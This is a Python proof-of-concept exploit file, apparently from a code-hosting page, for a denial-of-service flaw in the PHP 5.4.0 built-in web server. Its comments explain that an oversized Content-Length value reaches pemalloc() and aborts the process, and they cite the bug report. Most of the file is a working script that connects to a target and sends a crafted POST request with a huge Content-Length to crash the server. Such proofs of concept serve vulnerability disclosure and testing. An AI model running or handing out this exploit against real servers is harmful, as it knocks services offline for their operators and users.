45 lines
No EOL
1.4 KiB
Python
Executable file
45 lines
No EOL
1.4 KiB
Python
Executable file
#!/usr/bin/python
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# Title: PHP 5.4.0 Built-in Web Server DoS PoC
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# Date: 16 March 2012
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# Author: ls (contact@kaankivilcim.com)
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# Reference: https://bugs.php.net/bug.php?id=61461
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# Comments: Fixed in PHP 5.4.1RC1-DEV and 5.5.0-DEV
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# The value of the Content-Length header is passed directly to a pemalloc() call in sapi/cli/php_cli_server.c
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# on line 1538. The inline function defined within Zend/zend_alloc.h for malloc() will fail, and will terminate
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# the process with the error message "Out of memory".
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#
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# 1537 if (!client->request.content) {
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# 1538 client->request.content = pemalloc(parser->content_length, 1);
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# 1539 client->request.content_len = 0;
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# 1540 }
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#
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# PHP 5.4.0 Development Server started at Tue Mar 13 19:41:45 2012
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# Listening on 127.0.0.1:80
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# Document root is /tmp
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# Press Ctrl-C to quit.
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# Out of memory
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import socket, sys
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target = "127.0.0.1"
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port = 80;
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request = "POST / HTTP/1.1\n"
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request += "Content-Type: application/x-www-form-urlencoded\n"
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request += "Content-Length: 2147483638\n\n" # <-- Choose size larger than the available memory on target
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request += "A=B\n\n"
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s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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try:
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s.connect((target, port))
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except:
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print "[-] Connection to %s:%s failed!" % (target, port)
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sys.exit(0)
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print "[+] Sending HTTP request. Check for crash on target."
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s.send(request)
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s.close() |